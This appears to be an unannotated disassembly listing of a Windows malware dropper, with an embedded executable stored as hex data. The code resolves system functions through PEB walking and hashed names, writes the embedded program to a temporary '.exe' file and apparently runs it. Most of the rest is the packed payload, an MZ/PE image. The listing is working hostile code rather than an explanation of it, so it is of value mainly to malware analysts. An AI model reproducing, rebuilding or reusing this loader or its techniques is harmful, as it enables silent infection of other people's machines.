dd 6B39E168h, 2E96806Bh, 5AA76D77h, 791678Ch, 0AAF707E4h
dd 0E59EDBB3h, 0A9B6D470h, 617C771Ch, 0FE61A08Fh, 0F204CB8Bh
dd 66F98CF0h, 12AD283Bh, 0CE712687h, 7A05A083h, 36AAB4EFh
dd 0E6BFE883h, 0BA553957h, 0A9FB8DE7h, 0DF252C47h, 0B20D7013h
dd 3A7A4427h, 51F800BFh, 85E47D55h, 8ADD0817h, 0C15EF1CEh
dd 8A71222Ah, 21BBCA1Eh, 22FB7B96h, 0C0A53D34h, 5EF959B4h
dd 0C1500Dh, 168Fh dup(0)
; =============== S U B R O U T I N E =======================================
public start
start proc far
push (offset loc_42F0A4+1)
call sub_43702C
retf 835Dh
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7Ch, 0FFh, 8
dd 136D7C86h, 19827C86h, 8AE77C82h, 4E647C83h, 65A57C83h
dd 7C83h, 7E0000h
; =============== S U B R O U T I N E =======================================
sub_43702C proc near ; CODE XREF: start+5p
call sub_4370B9
pop eax
pusha
lea ebp, [eax-0Ah]
call sub_4370A4
sub esp, 400h
mov esi, esp
push esi
push 200h
call dword ptr [ebp+0Ah]
push esi
push 0
lea eax, [ebp+2Ah]
push eax
push esi
call dword ptr [ebp+0Eh]
mov edi, esi
xor eax, eax
mov cl, 0FFh
repne scasb
mov dword ptr [edi-1], 6578652Eh
mov [edi+3], al
push 1001h
lea eax, [esi+200h]
mov byte ptr [eax], 87h
push eax
push esi
call dword ptr [ebp+16h]
mov edi, eax
push dword ptr [ebp+131h]
lea eax, [ebp+135h]
push eax
push edi
call dword ptr [ebp+1Ah]
push edi
call dword ptr [ebp+1Eh]
push 0
push esi
call dword ptr [ebp+12h]
add esp, 400h
popa
retn
sub_43702C endp
; =============== S U B R O U T I N E =======================================
sub_4370A4 proc near ; CODE XREF: sub_43702C+Ap
pusha
mov edi, eax
loc_4370A7: ; CODE XREF: sub_4370A4+11j
mov eax, [edi]
test eax, eax
jz short loc_4370B7
push ebx
push eax
call sub_4370DD
stosd
jmp short loc_4370A7
; ---------------------------------------------------------------------------
loc_4370B7: ; CODE XREF: sub_4370A4+7j
popa
retn
sub_4370A4 endp
; =============== S U B R O U T I N E =======================================
sub_4370B9 proc near ; CODE XREF: sub_43702Cp
push ebp
mov eax, large fs:30h
test eax, eax
js short loc_4370D0
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp short loc_4370D9
; ---------------------------------------------------------------------------
loc_4370D0: ; CODE XREF: sub_4370B9+9j
mov eax, [eax+34h]
mov ebp, [eax+0B8h]
loc_4370D9: ; CODE XREF: sub_4370B9+15j
mov ebx, ebp
pop ebp
retn
sub_4370B9 endp
; =============== S U B R O U T I N E =======================================
sub_4370DD proc near ; CODE XREF: sub_4370A4+Bp
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_4370F3: ; CODE XREF: sub_4370DD+33j
jecxz short loc_437127
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
cld
loc_4370FE: ; CODE XREF: sub_4370DD+2Dj
xor eax, eax
lodsb
cmp al, ah
jz short loc_43710C
ror edi, 0Dh
add edi, eax
jmp short loc_4370FE
; ---------------------------------------------------------------------------
loc_43710C: ; CODE XREF: sub_4370DD+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4370F3
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
jmp short loc_437129
; ---------------------------------------------------------------------------
loc_437127: ; CODE XREF: sub_4370DD:loc_4370F3j
xor eax, eax
loc_437129: ; CODE XREF: sub_4370DD+48j
mov [esp+20h+var_4], eax
popa
retn 8
sub_4370DD endp
; ---------------------------------------------------------------------------
align 2
dw 0D0h
dd 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 0
dd 5100h, 6 dup(0)
dd 0C800h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd 83F10700h, 0ED9043D8h, 2 dup(0ED90438Bh), 0B098C08Bh
dd 0ED90408Bh, 0EC90438Bh, 0ED90428Bh, 0ED90438Bh, 0ED90428Bh
dd 0B79C468Bh, 0ED90428Bh, 6369528Bh, 0ED904368h, 8Bh
dd 3 dup(0)
dd 455000h, 3014C00h, 1E138600h, 43h, 0
dd 0F00E000h, 7010B01h, 0Ah, 0A60000h, 4C0000h, 113CF00h
dd 2 dup(100000h), 80000000h, 100009h, 20000h, 400h, 0
dd 400h, 0
dd 1900000h, 40000h, 0
dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0
dd 1000h, 2 dup(0)
dd 600800h, 2800h, 14h dup(0)
dd 600000h, 800h, 6 dup(0)
dd 73622E00h, 73h, 4A1C00h, 100000h, 5 dup(0)
dd 8000h, 64722EC0h, 617461h, 5400h, 600000h, 20000h, 40000h
dd 3 dup(0)
dd 4000h, 61642E40h, 6174h, 1140000h, 700000h, 0CA0000h
dd 60000h, 3 dup(0)
dd 4006000h, 0E0h, 71h dup(0)
dd 603800h, 0
dd 603000h, 2 dup(0)
dd 604600h, 600000h, 5 dup(0)
dd 603800h, 0
dd 4500AF00h, 50746978h, 65636F72h, 4B007373h, 454E5245h
dd 2E32334Ch, 6C6C64h, 6Bh dup(0)
dd 3D9A5100h, 0B25D970Ch, 82526279h, 15DEDEB6h, 8F16940Fh
dd 6F38FDA7h, 0BE874E4Eh, 0E7AB59F5h, 0B403F46Ch, 0E051F69Bh
dd 5D072C80h, 0A0D3782Ch, 6D1F2AB3h, 6D36FFC8h, 0E59023CFh
dd 0EB5CA055h, 892EC36Ch, 5FD1E88h, 0CA01E074h, 71B4BBFCh
dd 73673A28h, 3FDD00B0h, 8662CFBCh, 39D39CEEh, 0A5893E9Dh
dd 2A0B7090h, 0DFF8B881h, 6D2C4FB9h, 0C398A6F3h, 0FAB92544h
dd 4D5173D9h, 14F06253h, 58A3AB46h, 96EE500h, 183ED66Fh
dd 0F8C18A2Bh, 4ECE662Fh, 0F0630AA0h, 6019B169h, 8B8F2EEAh
dd 0EAAED7E4h, 0CEC7DC9h, 0AC17B091h, 0DAEA1EE7h, 8783A63h
dd 531CE5ACh, 983BFDBAh, 76484468h, 2114E6CFh, 0CEC64A9Dh
dd 743DD032h, 6CC377A2h, 4796B288h, 0A5E5B5FEh, 2DF562Ah
dd 91F411E1h, 80BB1798h, 0C3ECBD14h, 0E7A06DF3h, 3C8C551Eh
dd 0F9829ECh, 0B37CD14Fh, 0E75821EAh, 6F2F788Dh, 327FCBF1h
dd 67C69801h, 642DF6AFh, 1BD49D5Dh, 6FCE00D2h, 0D2A4CDA6h
dd 73CA564Ch, 0D111E1CAh, 735C7DDEh, 0DFF0E1AAh, 0D6642DF6h
dd 0AD772045h, 89561FE8h, 9236FFC8h, 0FF10D95Ch, 0DBA46D36h
dd 0F7804912h, 0D39C652Eh, 0AF78410Ah, 8B541DE6h, 6730F9C2h
dd 430CD59Eh, 1FE8B17Ah, 0FBC48D56h, 0D7A06932h, 0B37C450Eh
dd 9E5922EBh, 611291CAh, 0E60E8A2Ch, 40A0FA7h, 26D871ECh
dd 0E580B99Ch, 4CF6812Fh, 3BA349A8h, 9653F99Ch, 391886ADh
dd 4AAB6C02h, 19260FA8h, 52C80D97h, 0EE41ED8Ch, 0CAA76428h
dd 0EEB78049h, 99935C25h, 4A246C8Eh, 53E9FA10h, 3CF0E329h
dd 0DB0CC2h, 0E73A21ECh, 431C5785h, 1229B411h, 73324EAh
dd 8840A396h, 0B3A7B05Eh, 1AD12A1Ah, 0F63B2CE2h, 845A2D9Eh
dd 0E2BFA866h, 0BD4E11F2h, 9A56814Fh, 16B8AB60h, 0BA4D66B4h
dd 25CFD846h, 0EE2235DBh, 0F4055EFCh, 0D6697A90h, 60BFC0BAh
dd 4E81D278h, 6D5AE12h, 0A43F28E6h, 4FD17C16h, 3FE4FF1Dh
dd 1BE4AD76h, 0F7C08952h, 0D39C652Eh, 0FF78410Ah, 6CE9B273h
dd 0C915D8A2h, 21E44C1Bh, 0FDC68F58h, 39A26B34h, 0CF4D29F0h
dd 0BD763907h, 3902CB54h, 25EEB760h, 521BE20Ch, 9F6831F9h
dd 0ECB57CA6h, 29F2BB43h, 15DE9760h, 1CA935Ch, 0DBA8713Ah
dd 0BF88511Ah, 9F642DF6h, 7B440DD6h, 5720E9B2h, 450ED79Eh
dd 25EEB778h, 2CA935Ch, 0E0A9723Bh, 0CC955E17h, 0B8814A13h
dd 0A46D36EFh, 905922CBh, 7C35FEC7h, 0FC21EAB3h, 603CA52h
dd 521BE4ADh, 2B5821E9h, 10D9A26Bh, 0ECB57E47h, 0C8915A23h
dd 0A46D36FFh, 804912DBh, 5C25EEB7h, 0D801CA93h, 5E1FE62Eh
dd 3A03CC95h, 16DFA871h, 0F2BB844Dh, 0CE976029h, 0AA733C05h
dd 864F18E1h, 622BF4BDh, 3E07D099h, 1AE3AC75h, 0F6BF8851h
dd 0D29B642Dh, 0AE774009h, 8A531CE5h, 662FF8C1h, 420BD49Dh
dd 1EE7B079h, 0FAC38C55h, 0D69F6831h, 0B27B440Dh, 8E5720E9h
dd 3F33FCC5h, 733C25A6h, 4F18E1AAh, 7C450CD6h, 6831FAA3h
dd 440DD69Fh, 24EDB67Fh, 0C9925Bh, 0DCA56E37h, 38814A13h
dd 0A13DA66Fh, 0FEA75FD0h, 0DAA36C35h, 0C68F5801h, 3CC959Dh
dd 0E1AA7338h, 0C18A531Ch, 9D662FF8h, 79420BD4h, 151EE7B0h
dd 64FA03CCh, 3CE11CEDh, 18E1AA73h, 945D26EFh, 9AA73BBh
dd 3F08D19Ah, 21EAB370h, 0FDC68F58h, 0D9A26B34h, 957E4710h
dd 351A430Ch, 0D8BD8825h, 0D13A8B1Ah, 0B3238178h, 11D402CAh
dd 6608CA71h, 68C94AF7h, 0E15930DCh, 0A82E9101h, 8F868D8h
dd 601AB481h, 977E02C7h, 0B554FD43h, 3EE16AE1h, 9A318155h
dd 0A9AC46FAh, 0E99A04AFh, 56E2962Ch, 20EB58BDh, 19B4866Bh
dd 37AEA922h, 17E25BB8h, 89533AA8h, 33E89A2Bh, 0B340ED83h
dd 8B6BE152h, 8F86822h, 0E3432397h, 0CC0A8373h, 9D2DEF64h
dd 3CD31EE7h, 0C221282Fh, 0A24CE771h, 3ADE6411h, 0B360E59Eh
dd 894E33F8h, 70E78B21h, 5A3308B0h, 4C89049Fh, 8F740FA5h
dd 8841C253h, 0C469EC96h, 42F1A852h, 0CA671BB0h, 8280610Ch
dd 0D862CCDh, 0B5590C08h, 52C76F0Fh, 18B254C1h, 6525DF70h
dd 8F44D7BCh, 6B34FDC6h, 4710D9A2h, 23ECB57Eh, 0FFC8915Ah
dd 0DBA46D36h, 0B7804912h, 935C25EEh, 6F3801CAh, 4B14DDA6h
dd 27F0B982h, 3CC955Eh, 0DFA8713Ah, 0BB844D16h, 976029F2h
dd 733C05CEh, 4F18E1AAh, 2BF4BD86h, 7D09962h, 0E3AC753Eh
dd 0BF88511Ah, 9B642DF6h, 774009D2h, 531CE5AEh, 2FF8C18Ah
dd 0BD49D66h, 0E7B07942h, 0C38C551Eh, 9F6831FAh, 7B440DD6h
dd 5720E9B2h, 33FCC58Eh, 0FD8A16Ah, 0EBB47D46h, 0C7905922h
dd 0A36C35FEh, 7F4811DAh, 5B24EDB6h, 3700C992h, 13DCA56Eh
dd 0EFB8814Ah, 0CB945D26h, 0A7703902h, 834C15DEh, 5F28F1BAh
dd 3B04CD96h, 17E0A972h, 0F3BC854Eh, 0CF98612Ah, 0AB743D06h
dd 875019E2h, 632CF5BEh, 3F08D19Ah, 0E7E4AD76h, 0A41DE42Eh
dd 814A131Bh, 5D26EFB8h, 3902CB94h, 3DDEA770h, 83440D15h
dd 0B07940CAh, 8C551EE7h, 6831FAC3h, 720DD69Fh, 408148D0h
dd 0EDB67F87h, 0C9925B24h, 0A56E3700h, 0C34A13DCh, 0F9CA939Bh
dd 36FFC650h, 12DBA46Dh, 0EEB78049h, 9A935C25h, 0A021E830h
dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 7DEAB37Ch, 43844DD5h
dd 0F0B9808Ah, 0CC955E27h, 0A8713A03h, 0E24D16DFh, 0D0F1B840h
dd 5D26EF37h, 3902CB94h, 15DEA770h, 83BA834Ch, 596A33FBh
dd 0D69F66B0h, 0B27B440Dh, 8E5720E9h, 1433FCC5h, 0DEEFB67Eh
dd 5B24ED35h, 3700C992h, 13DCA56Eh, 63B8814Ah, 41824BD3h
dd 0EEB77E88h, 0CA935C25h, 0A66F3801h, 1A4B14DDh, 0A021E830h
dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 21EAB37Ch, 0FDC68F58h
dd 0D1A26B34h, 9E8B179h, 733C050Dh, 2418E1AAh, 0BE58FF94h
dd 0C3B6291Bh, 33FC8136h, 0AB4BED6Ah, 42E9B106h, 0DA8803CBh
dd 7E02CB12h, 0F7AE27D2h, 822FB741h, 12A06EE5h, 68ECB578h
dd 6AE473E0h, 2FAA1DE7h, 47C86D02h, 8E12E07Eh, 8D08E315h
dd 0E92ACF6Ch, 1C8B1620h, 659F1F96h, 45EA07F2h, 8EA66FA0h
dd 0A92EA32Fh, 0C415E05Bh, 0D781B257h, 35AE6432h, 7F1CB15Eh
dd 0BA3FBEB6h, 4F2F462Eh, 45EA8FA8h, 5FD854CCh, 43DE58DFh
dd 29CE638Ch, 0ECF76E8h, 972ED869h, 42F700E7h, 0B5AB74BDh
dd 0CA3CC823h, 0A055E251h, 0F5491203h, 7315B95Eh, 0BA849ACh
dd 1BE4AD66h, 72C08952h, 0CC11E3A0h, 7E713A03h, 0BD854CD4h
dd 98622BF4h, 773F08D1h, 9F1CE5AEh, 8D26EF37h, 0BF34FD05h
dd 0E3460F17h, 6F7C45EEh, 0CD965FA7h, 5EFB5804h, 1B14B9h
dd 632CE9AEh, 3708D19Ah, 23ECB57Eh, 0FFC8915Ah, 0DBA46D36h
dd 0B7804912h, 935C25EEh, 6F3801CAh, 0CB14DDA6h, 4E18917Eh
dd 541C4888h, 7A9BC48Dh, 561FE8B1h, 0B0B48A0Eh, 0EA1DA532h
dd 85BBF0A6h, 145A58E7h, 0F6BF8851h, 951A642Dh, 0A77039E1h
dd 8FAE0735h, 380845C0h, 30E8FA3Ah, 0C5EFA4F6h, 7B49D9EEh
dd 6FC7B6C0h, 4A14DDA6h, 0F446E058h, 89BE155Fh, 8A132BB9h
dd 0D6FCA240h, 13C0022Ah, 65BDF2E1h, 0A29CBD67h, 0D75D7832h
dd 0AD94D07Ch, 0E762296Ch, 4100289Dh, 4A8A0698h, 0F446E058h
dd 89BE155Fh, 83132BB9h, 47E1594Bh, 0A1165EF5h, 1034B688h
dd 0DD53C80h, 0BD7B27C5h, 278CA473h, 6AB23012h, 7A20C20Ah
dd 46849454h, 3F706791h, 1E23E5E7h, 3DC50E96h, 0F42A5874h
dd 0B6022AC2h, 0BA0B4DEBh, 2E4DDA8Dh, 0D19FDC67h, 4967DB53h
dd 22586805h, 0C3E1C0ECh
dd 3A7AB3E8h, 5BA42F71h, 951B5D13h, 61AC0854h, 6177BFD7h
dd 76AC9C5Dh, 93A1AB40h, 99EE825Eh, 0C18A531Ch, 763FFB41h
dd 0A4A26EADh, 57DF2C4Dh, 1EEACBF9h, 2173A090h, 534206Bh
dd 0F839185Ah, 0E30EE7EEh, 2C8534E6h, 2CA56D88h, 7C82C48Ah
dd 266D7CBCh, 4208B204h, 58CE038Ah, 0E135C452h, 0D952DBB4h
dd 447E4811h, 28E5EBB1h, 0D99203A0h, 0C2ED4811h, 0C4CD000Eh
dd 0CBEB7A8Fh, 2FE54BFBh, 40D553D1h, 0DB52ACD0h, 567295E0h
dd 5F875849h, 1DD79796h, 0AC08D1DBh, 2F60F7B3h, 0C8BA0785h
dd 101ED2A1h, 9578D5DCh, 46DE6C2Ch, 905A149Eh, 0BD444E4Bh
dd 72BC3D64h, 27915B5Bh, 696D230Ch, 1098A740h, 5192185Ah
dd 0CFA64C67h, 1F15A4CFh, 78819E9h, 0C48F4FCFh, 0E425875h
dd 0AE6139C9h, 864ECC8Ch, 23CAD0BFh, 448E915Ah, 0C92A0E7Dh
dd 5B450DD6h, 773586AEh, 0EEC77775h, 0F7BF7693h, 0D0A46D2Dh
dd 0CC95471Eh, 0A10ADDF5h, 0F938AD67h, 0E8A0743Dh, 588E84D2h
dd 0C820295Dh, 0D30B73C7h, 69220BB4h, 2060128Bh, 0EAFB37Eh
dd 6834EDCFh, 5305A254h, 5EF74855h, 0F23B25D7h, 0C105A0D6h
dd 1A840128h, 0F2604B01h, 0BC2253EBh, 8E4A0C75h, 2F659B47h
dd 0F792ADB9h, 0CDBB4F9Bh, 721AA5A9h, 0E18A08C2h, 28ED2344h
dd 83CB645Dh, 0B0E6F8C7h, 9A1420C1h, 890E9415h, 38478B09h
dd 31B53FBDh, 7A487E44h, 0C40AF3BAh, 30BF3AB6h, 6EA22AB6h
dd 5FD5EEB6h, 9952C337h, 0BB3FC9FFh, 9638138h, 7473F03Dh
dd 77D087A3h, 2CC5498Eh, 8A1EE453h, 158EF4A3h, 2E0AB2A3h
dd 0F8F1EE98h, 3A7044EBh, 0A5772EF9h, 7FF4CCD4h, 0D88A33D8h
dd 0BBFD9622h, 53ED3977h, 5C59A360h, 0C79C376Ch, 4371435Dh
dd 0AC7C045h, 0CDAF38BEh, 20B40F28h, 0E4BD21B2h, 78388D0Ah
dd 0C092B6F1h, 139720D0h, 830B11E0h, 7A54BE4h, 0D379E86Dh
dd 0F3352B10h, 3166769Dh, 8236C16Fh, 18E84FE6h, 343CE222h
dd 49865DEh, 0C63F5A88h, 0A41FF66Dh, 905C95E9h, 801FB05h
dd 0B1641258h, 0DE5EFF6Bh, 14B59F05h, 0FF80591Ah, 93A5834Dh
dd 0E151128Fh, 3FA90F28h, 0F5ECD0A5h, 0C01EC872h, 15FDD6A7h
dd 0C2751ADBh, 754C5051h, 9C993FD3h, 58CB81A4h, 28E8B2ABh
dd 2C0063B7h, 0C2C06919h, 713FA040h, 9B8C7CC7h, 9A034140h
dd 41100CF1h, 0B1F75558h, 17592AB4h, 50DF97CDh, 106CAAB0h
dd 7AFB6608h, 7223EEB7h, 72801EA8h, 2BF74Dh, 2137EAC3h
dd 8B4B6FF4h, 0E685826Eh, 3E167FCFh, 0D1F5390Bh, 85D65F3Eh
dd 0D08BB7A3h, 310A44C4h, 5615ECCAh, 0D62AF062h, 4A13CDB8h
dd 0CB6A108Eh, 74821E3Dh, 9F1C67BEh, 378081AEh, 0B10C6376h
dd 3441FD86h, 621226FDh, 36284E99h, 0D29842EFh, 0C17CC118h
dd 0A38B1C20h, 5EE829E1h, 0B235050Bh, 0DD54522Dh, 0D83EFA7Dh
dd 72BBC5B6h, 572A27FDh, 76C09CB8h, 3199E6DAh, 5DDD1727h
dd 0B003AD9Dh, 3526E194h, 0B9A27B6Ch, 0B2466A3Eh, 0A8CE14A3h
dd 98716984h, 1E8401F6h, 568F0E4Ch, 0DC1EB486h, 12B8C79h
dd 0D575BE5Bh, 40C66794h, 8D31D099h, 66C720D3h, 807F4889h
dd 5AA54B23h, 42996D6Ah, 0F66805ADh, 83A9B97Ch, 177AB6EEh
dd 0B579FD75h, 0EAD862CCh, 1E3B458Ah, 0D71C2BF5h, 7817C005h
dd 0CAD410B9h, 4BA7854Bh, 625E2DD0h, 0EF6EB685h, 76AFE869h
dd 59199FADh, 40818E66h, 13CD2668h, 66248BEBh, 0ED84F0CBh
dd 0A7E7023Ah, 1DC14709h, 9E53A042h, 72B120DEh, 0BAC6C21h
dd 0BBEFC5F0h, 0B0DEE488h, 5AF59C9Dh, 0C2DCA1CAh, 1AC51F1h
dd 17867F1Eh, 0B8144FC5h, 0E5520D2Fh, 0CB240744h, 3D1C4146h
dd 828192h, 0BE6CA294h, 0E9104573h, 359ABFC3h, 6150779Ah
dd 80B02E1h, 531076B7h, 5B694A0h, 4387BDEFh, 3BC60A35h
dd 492C568Bh, 0C9156FC3h, 56E5F9F1h, 0B7E2DD69h, 0C72B2F9Ch
dd 0EF151386h, 0A5928BF5h, 1E7B625Fh, 0E5D1D227h, 0CF46260Bh
dd 0F406D6FDh, 32E61090h, 0B57FB6D5h, 0C325627Eh, 0DA103088h
dd 6FE8463Ch, 1E95595Ch, 23A9FCD7h, 0FD59587Bh, 2C8EFDBFh
dd 92C8FC4Fh, 35F7065Ch, 4C77FFE9h, 0A38AE9CEh, 1496EDE3h
dd 0DAD2ED8Bh, 6B3ABB7Bh, 69B3DACBh, 86C25CDh, 0D1CF053Bh
dd 0C56CB05Dh, 2C944BFFh, 3ADD2CCBh, 19999B07h, 0BD1D1D57h
dd 0E6F5A204h, 2F4B0DBBh, 0B05AB254h, 0ABEC2E4Bh, 0F7B7E223h
dd 6886D2B8h, 0C16D0E52h, 6655D7C8h, 29ACE43Bh, 26BF236Ah
dd 93477FFEh, 7A9758B1h, 401F0091h, 698E1C97h, 783D4439h
dd 0E647169Eh, 1660E6D2h, 0C63E834Bh, 8B7AEA95h, 64536200h
dd 0C06D9E45h, 6584CD8h, 0D790EA00h, 66C3913Dh, 7AF823B7h
dd 8D386B39h, 0A6C70F8Eh, 7180A9EDh, 0C2F74D4Bh, 0E0D5DD78h
dd 62F1DEDEh, 936F99A9h, 0C14AC558h, 0ACC7F975h, 72EB7098h
dd 35793CFFh, 0B8D29B8Bh, 0F2FED50Eh, 35D462D1h, 0D6101099h
dd 0CA08AEF4h, 9E18AB63h, 0F233BE51h, 654C3AEh, 0EC36B288h
dd 38601F4Bh, 0E4403C78h, 6120F34Dh, 0E4C918CFh, 9488CFC4h
dd 0BD26ABF3h, 0B566CF15h, 7879B977h, 4B7650DBh, 0B871B81Ch
dd 0BFC6E0CAh, 49299462h, 0C1BF12CDh, 7ABF6C9Bh, 5BF03B32h
dd 0A38288CEh, 0C24262h, 0E1D23379h, 7CB2E848h, 7EEA3446h
dd 0AF84AD8Fh, 0BF42CECEh, 746EC7Dh, 30C8C2Fh, 4C8192D2h
dd 5FE10C2h, 0E71DABE9h, 60220F95h, 0A0D98F77h, 5C75C62Bh
dd 7B7D79A7h, 0DFF1FFB7h, 808D44A4h, 94BD2FDBh, 15FF87C4h
dd 46038DB4h, 2A5207C6h, 1F98B767h, 36567729h, 131E10FDh
dd 0DAE131F6h, 91A96819h, 0DED2470h, 13D99B64h, 3A707069h
dd 0AB6AFAFFh, 0C46D468Dh, 21F38C31h, 3EB4020Ah, 0CF3279BFh
dd 0A772A708h, 3BDF782Bh, 0CE6BCE95h, 0D6E7ED29h, 0D2F63FE2h
dd 0A6993AB3h, 33C461E7h, 4EA0D6B2h, 0E3984847h, 0D52DF221h
dd 0A979C797h, 3CE996B7h, 4C02A083h, 7CC2487Eh, 0FD6133D5h
dd 6F19BF58h, 41F25EB2h, 0A369DD26h, 0ED1BEB7Dh, 742D2AB7h
dd 4275E9A8h, 7AB0BBF7h, 0C36F08C4h, 0E6463536h, 9A5202A2h
dd 1C141DB6h, 0D7FB51DBh, 30F92685h, 0A2321F14h, 0D2BB470Fh
dd 2AFC9C34h, 0D2674573h, 0EC09F54Ch, 0F554E50Dh, 0F12B721h
dd 9DAB4FE5h, 111C58DDh, 0FA1B9994h, 6B676531h, 0A999A3D1h
dd 0A4AB44C1h, 0B81DEE52h, 0C48E01D3h, 0B95FA44Dh, 5D7A239Dh
dd 6BCD56EAh, 856BF6F2h, 87D28F4Dh, 0F84D8267h, 5A903438h
dd 0AE611EB5h, 0A65DF504h, 35623414h, 0AB71E692h, 7FA1730Ch
dd 0CB1BEFB4h, 4B61A7DDh, 66FF4FD5h, 3E8188Ah, 0B4A043B8h
dd 2A21A567h, 0FC5B957h, 4EBC6F27h, 19E279C2h, 0F543F92Fh
dd 20D423EFh, 2DAF37DDh, 2E34C39Ah, 4BE50C07h, 72F71F87h
dd 54BE3992h, 0C2F8CE32h, 8C5CF073h, 0D1403015h, 7BFA6429h
dd 2BAF2EECh, 2436C586h, 45290724h, 928643E3h, 0EDA7DA78h
dd 0E609FF4Eh, 0C489334Ch, 0A3AE8B4Ch, 0BFBF8635h, 0E962F65Dh
dd 0D6813117h, 262E34F7h, 72C2AD11h, 0BC43B85Ah, 25D85916h
dd 655DEFD9h, 58E66833h, 45D855A7h, 3E02A1B4h, 62D5461Eh
dd 28D118CAh, 0E3480410h, 4B79AA5Ch, 5A0A0115h, 2A926DE5h
dd 42223CD2h, 0A6A42CD6h, 0AF6E8D41h, 640C3CBBh, 0BAF0A481h
dd 8930232Ah, 49E149D4h, 19827810h, 503794E6h, 8BB965C9h
dd 1E4010FEh, 880F0126h, 0A338C067h, 8D443D1h, 7199EEEEh
dd 61846A81h, 2C851B90h, 0AEEAC640h, 0B05E85FCh, 82343CB3h
dd 1CE241D0h, 0D610774Eh
dd 607BA700h, 67DD07F8h, 6ECAFF35h, 0E0863FD3h, 8837A837h
dd 3EC803E3h, 0CC15CC5Eh, 35269568h, 4D84B8C7h, 338F18D7h
dd 8534E681h, 0ABAD21F2h, 0BA370B4h, 0E32B3B53h, 7F17BA67h
dd 9A4166DBh, 0BB9BFEC6h, 8820169Fh, 5151700h, 40FAB050h
dd 0F9371630h, 0BE02F8B9h, 0F54F34CAh, 18038B44h, 0F5ACDBCFh
dd 0D8418444h, 5D318050h, 55A6678Ch, 0A9AC1B2h, 673ADCB8h
dd 0F53F59D5h, 0DAC34E2Fh, 380A284Ah, 0CBDA4A2Bh, 4E8302CEh
dd 0D674A28Ah, 60D6D5C6h, 1E0D9FB5h, 353E917h, 998F11C5h
dd 0D9835326h, 4F04FC7Ah, 96032A8Dh, 52764DB1h, 0FF14D9E8h
dd 6D2CDC4Eh, 9979FD0Fh, 8412E75Fh, 0ED6E12CAh, 0C625A20Ch
dd 6ECE3262h, 926E8170h, 373F2B34h, 28D656DCh, 59FF5DFCh
dd 2937ED23h, 0F94A9266h, 0B961FB5Eh, 3F24E10h, 219551A4h
dd 833AB023h, 5F1FBBB9h, 0CBF4AAD9h, 85739795h, 1046B567h
dd 0F162DE60h, 0CCD766Ah, 0C434DB6Dh, 87D6AC72h, 0ED2040A9h
dd 0C256D11Fh, 0CA60D146h, 8A242D3h, 27BCBC5Ch, 6356DCADh
dd 37D07446h, 6AFE61ABh, 3BD01A8Eh, 81502911h, 0E3A823E4h
dd 98FFF2C1h, 865D8E9Fh, 0AD288A1Ch, 671DDF20h, 0FD733FB5h
dd 8160866Ch, 0C935C329h, 0EAAA3747h, 0BD7F86FEh, 23BA3EB3h
dd 179C8044h, 0EE671D71h, 0D255DF52h, 0CF850502h, 9CB11E8Bh
dd 0B38F5DD6h, 0A6C26CB0h, 6040C36Ah, 0B4FD70ECh, 81B329FAh
dd 0CC4A2F19h, 4D8C4F75h, 0EB394BABh, 5BA785F9h, 53D159D8h
dd 52A6B6DEh, 0CF9D3956h, 0B63E835Bh, 4FE6BB20h, 275707EBh
dd 75A33A10h, 0E57EF3C3h, 0E325569Ch, 827DCC9h, 0DE52A49Bh
dd 48D81295h, 678264C2h, 51C6C7Bh, 0AC346BAh, 4CD05D2Bh
dd 1A560129h, 0BCB9C9D7h, 6C2ED28Ch, 0FF2BAEA6h, 0C1AC343Bh
dd 0AF173FD7h, 9443A136h, 65787228h, 0AB3DC344h, 0B0E6DEBDh
dd 0AF5AC643h, 48A01FFEh, 49E96FB2h, 288E8330h, 9A2A8D23h
dd 5E8024EFh, 0A3177515h, 7E448F1h, 610F2A0Ah, 3608BDCBh
dd 1D27267h, 0F1EF19FFh, 827280E8h, 924EB46Eh, 5507E4AEh
dd 0FC699A45h, 121FCAFCh, 22EF9D22h, 7AD38495h, 1112E77Dh
dd 39E280C7h, 859F5D19h, 0F6F11EC7h, 0BB3951F7h, 0B252301Ch
dd 4BFA6608h, 0B15E3FE4h, 0F919105Ch, 36C3D183h, 72DA37FBh
dd 0A52A6EB0h, 1D3FC2D0h, 35CB8A5Eh, 7C9C135Ch, 50FA55FDh
dd 0C53FAF33h, 400C5CE5h, 3D9B319Ch, 74EE921Bh, 0E3AB61F0h
dd 5184EFE5h, 45D941CAh, 5CD55B1Dh, 0C871F8AAh, 0BE009F69h
dd 0BB3A4CA8h, 7427B827h, 769F09FCh, 60EB2C9Ch, 279D76F8h
dd 0A3D90FA5h, 1BF823DEh, 0E85A44A9h, 0FB50CA73h, 0F569FF5Eh
dd 0B01E9077h, 0F081B790h, 853B87B3h, 749F56CFh, 44A631D5h
dd 2EDE12ECh, 608762FFh, 0F0360EA3h, 0D67AACA4h, 903CDC09h
dd 5B063EDBh, 87916DF8h, 0A17B27D9h, 92858313h, 0BB43FE4Bh
dd 0FB50D336h, 840F8166h, 0A93FD592h, 325BDD6h, 0EB511ECDh
dd 0E958F478h, 510FAF37h, 70D81FF3h, 65AD35F2h, 0E3794F73h
dd 0DA01F952h, 0B80BE07Ch, 0C7B0B120h, 0BC2E9609h, 901002BCh
dd 4A25575Dh, 0AAC335FBh, 6B9FF0F5h, 8F5A38C9h, 0A1D8661Fh
dd 2E97241Dh, 0EA7E3DF8h, 7033AD8h, 0BF5E3CF9h, 3041C3EDh
